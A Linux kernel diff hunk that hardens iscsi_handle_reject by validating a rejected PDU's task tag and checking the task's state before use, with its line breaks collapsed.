@@ -1142,13 +1142,15 @@ static int iscsi_handle_reject(struct isspin_unlock (&conn->session->frwd_lock);spin_lock (&conn->session->back_lock); }else { -struct iscsi_task *task; +struct iscsi_task *task =NULL ;/* * Our nop as ping got dropped. We know the target * and transport are ok so just clean up */ - task =iscsi_itt_to_task (conn, rejected_pdu.itt); -if (!task) { +if (!iscsi_verify_itt (conn, rejected_pdu.itt)) + task =iscsi_itt_to_task (conn, rejected_pdu.itt); +if (!task || task->state ==ISCSI_TASK_FREE || + task->sc) {iscsi_conn_printk (KERN_ERR , conn,"Invalid pdu reject. Could " "not lookup rejected task.\n" );